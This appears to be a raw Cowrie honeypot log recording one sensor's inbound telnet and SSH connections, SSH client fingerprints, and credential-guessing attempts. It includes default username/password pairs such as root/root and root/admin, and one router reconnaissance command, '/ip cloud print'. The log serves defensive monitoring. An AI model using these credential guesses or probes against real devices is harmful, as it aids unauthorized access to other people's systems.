{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49264,"dst_ip":"159.203.135.109","dst_port":23,"session":"8038931e7732","protocol":"telnet","message":"New connection: 38.60.198.128:49264 (159.203.135.109:23) [session: 8038931e7732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:46.203188Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50446,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c53d8921ae","protocol":"telnet","message":"New connection: 38.60.198.128:50446 (159.203.135.109:23) [session: f3c53d8921ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:47.253422Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f82881a7000","protocol":"telnet","message":"New connection: 197.97.45.41:50662 (159.203.135.109:23) [session: 6f82881a7000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:47.368106Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5545b80208","protocol":"telnet","message":"New connection: 38.60.198.128:54728 (159.203.135.109:23) [session: aa5545b80208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:50.568769Z"}
{"eventid":"cowrie.session.closed","duration":39.5548882484436,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:52.457119Z","src_ip":"38.60.198.128","session":"e9d4cc118e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.870779752731323,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:55.439400Z","src_ip":"38.60.198.128","session":"aa5545b80208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.485828161239624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:57.583827Z","src_ip":"38.60.198.128","session":"f4c2c7cc9942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37440,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9dd6b4d898","protocol":"telnet","message":"New connection: 38.60.198.128:37440 (159.203.135.109:23) [session: 7e9dd6b4d898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:59.457806Z"}
{"eventid":"cowrie.session.closed","duration":38.8368136882782,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:00.138261Z","src_ip":"38.60.198.128","session":"df0879b7332f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.819942235946655,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:00.373027Z","src_ip":"38.60.198.128","session":"65e4b3986b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78610968589783,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:00.737159Z","src_ip":"38.60.198.128","session":"32beee64d6e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60362,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e2bafc5bf53","protocol":"telnet","message":"New connection: 192.211.53.160:60362 (159.203.135.109:23) [session: 2e2bafc5bf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:00.923990Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":50886,"dst_ip":"159.203.135.109","dst_port":22,"session":"047836597878","protocol":"ssh","message":"New connection: 198.98.56.205:50886 (159.203.135.109:22) [session: 047836597878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:01.979815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:01.985475Z","src_ip":"198.98.56.205","session":"047836597878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:01.991700Z","src_ip":"198.98.56.205","session":"047836597878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:02.044817Z","src_ip":"198.98.56.205","session":"047836597878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:03.054167Z","src_ip":"198.98.56.205","session":"047836597878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43730,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f97556ae2c","protocol":"telnet","message":"New connection: 38.60.198.128:43730 (159.203.135.109:23) [session: 40f97556ae2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:05.257197Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45950,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42549ef0f8d","protocol":"telnet","message":"New connection: 38.60.198.128:45950 (159.203.135.109:23) [session: d42549ef0f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:06.080791Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45386,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade6dbe88097","protocol":"telnet","message":"New connection: 38.60.198.128:45386 (159.203.135.109:23) [session: ade6dbe88097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:06.565695Z"}
{"eventid":"cowrie.session.closed","duration":7.3228068351745605,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:06.780486Z","src_ip":"38.60.198.128","session":"7e9dd6b4d898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47150,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a4d408629b","protocol":"telnet","message":"New connection: 38.60.198.128:47150 (159.203.135.109:23) [session: a5a4d408629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:08.270429Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48240,"dst_ip":"159.203.135.109","dst_port":23,"session":"387061f277ef","protocol":"telnet","message":"New connection: 38.60.198.128:48240 (159.203.135.109:23) [session: 387061f277ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:10.206615Z"}
{"eventid":"cowrie.session.closed","duration":41.534501791000366,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:11.663754Z","src_ip":"38.60.198.128","session":"73111ed7d7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48916,"dst_ip":"159.203.135.109","dst_port":23,"session":"eee236ca7f4e","protocol":"telnet","message":"New connection: 38.60.198.128:48916 (159.203.135.109:23) [session: eee236ca7f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:11.790491Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57004,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8d74b75623","protocol":"telnet","message":"New connection: 38.60.198.128:57004 (159.203.135.109:23) [session: 6a8d74b75623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:15.208292Z"}
{"eventid":"cowrie.session.closed","duration":120.00209927558899,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:16.273476Z","src_ip":"38.60.198.128","session":"fbed8e980772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99134039878845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:16.942121Z","src_ip":"38.60.198.128","session":"64f91374b70b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2cf67e5e99","protocol":"telnet","message":"New connection: 38.60.198.128:59042 (159.203.135.109:23) [session: 5f2cf67e5e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:17.894493Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33142,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3357baf7e73","protocol":"telnet","message":"New connection: 38.60.198.128:33142 (159.203.135.109:23) [session: b3357baf7e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:18.582490Z"}
{"eventid":"cowrie.session.closed","duration":40.38530087471008,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:19.181034Z","src_ip":"38.60.198.128","session":"c354feed6e3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.93618965148926,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:21.333841Z","src_ip":"38.60.198.128","session":"d7819fd905e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8253650665283203,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:21.719724Z","src_ip":"38.60.198.128","session":"5f2cf67e5e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2adb0d08c07c","protocol":"telnet","message":"New connection: 38.60.198.128:39684 (159.203.135.109:23) [session: 2adb0d08c07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:24.834288Z"}
{"eventid":"cowrie.session.closed","duration":46.89700269699097,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:28.031514Z","src_ip":"38.60.198.128","session":"319643058aa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"b556bccb0e32","protocol":"ssh","message":"New connection: 94.156.152.18:45998 (10.17.0.5:22) [session: b556bccb0e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:28.333780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:28.338636Z","src_ip":"94.156.152.18","session":"b556bccb0e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:28.466202Z","src_ip":"94.156.152.18","session":"b556bccb0e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU16GBAMD","message":"login attempt [root/XYZZ8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:28.872479Z","src_ip":"94.156.152.18","session":"b556bccb0e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:30.003419Z","src_ip":"94.156.152.18","session":"b556bccb0e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48588,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc7da053a48f","protocol":"telnet","message":"New connection: 38.60.198.128:48588 (159.203.135.109:23) [session: bc7da053a48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:30.859720Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44910,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef66436a119","protocol":"telnet","message":"New connection: 38.54.119.93:44910 (10.17.0.5:23) [session: 9ef66436a119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:34.402606Z"}
{"eventid":"cowrie.session.closed","duration":49.812400817871094,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:36.015447Z","src_ip":"38.60.198.128","session":"8038931e7732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.36853313446045,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:36.670954Z","src_ip":"38.60.198.128","session":"fbcb89e8e9de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.887701749801636,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:40.290153Z","src_ip":"38.54.119.93","session":"9ef66436a119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.32404923439026,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:41.577379Z","src_ip":"38.60.198.128","session":"f3c53d8921ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56126832962036,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:42.485128Z","src_ip":"192.211.53.160","session":"2e2bafc5bf53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12244367599487,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:43.688014Z","src_ip":"38.60.198.128","session":"ade6dbe88097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b866af410e56","protocol":"telnet","message":"New connection: 38.60.198.128:35272 (159.203.135.109:23) [session: b866af410e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:43.943577Z"}
{"eventid":"cowrie.session.closed","duration":1.923478126525879,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:45.866956Z","src_ip":"38.60.198.128","session":"b866af410e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37828,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ba6ca05eee","protocol":"telnet","message":"New connection: 38.60.198.128:37828 (159.203.135.109:23) [session: 53ba6ca05eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:47.020295Z"}
{"eventid":"cowrie.session.closed","duration":41.230143785476685,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:47.310824Z","src_ip":"38.60.198.128","session":"d42549ef0f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe521783fb7","protocol":"telnet","message":"New connection: 38.60.198.128:41000 (159.203.135.109:23) [session: dfe521783fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:47.585701Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34114,"dst_ip":"159.203.135.109","dst_port":23,"session":"0730cc517db6","protocol":"telnet","message":"New connection: 38.60.198.128:34114 (159.203.135.109:23) [session: 0730cc517db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:48.924186Z"}
{"eventid":"cowrie.session.closed","duration":0.33776044845581055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:49.261786Z","src_ip":"38.60.198.128","session":"0730cc517db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44074,"dst_ip":"159.203.135.109","dst_port":23,"session":"86eccffb790b","protocol":"telnet","message":"New connection: 38.60.198.128:44074 (159.203.135.109:23) [session: 86eccffb790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:50.279474Z"}
{"eventid":"cowrie.session.closed","duration":42.90225434303284,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:51.172542Z","src_ip":"38.60.198.128","session":"a5a4d408629b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.862866401672363,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:52.448475Z","src_ip":"38.60.198.128","session":"dfe521783fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.33.220.174","src_port":45464,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4891134a59c","protocol":"ssh","message":"New connection: 92.33.220.174:45464 (159.203.135.109:22) [session: a4891134a59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:52.978892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:52.983960Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:53.091973Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:53.846386Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:54.957349Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.218294Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.222053Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.225453Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.994985818862915,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.252053Z","src_ip":"38.60.198.128","session":"40f97556ae2c","protocol":"telnet"}
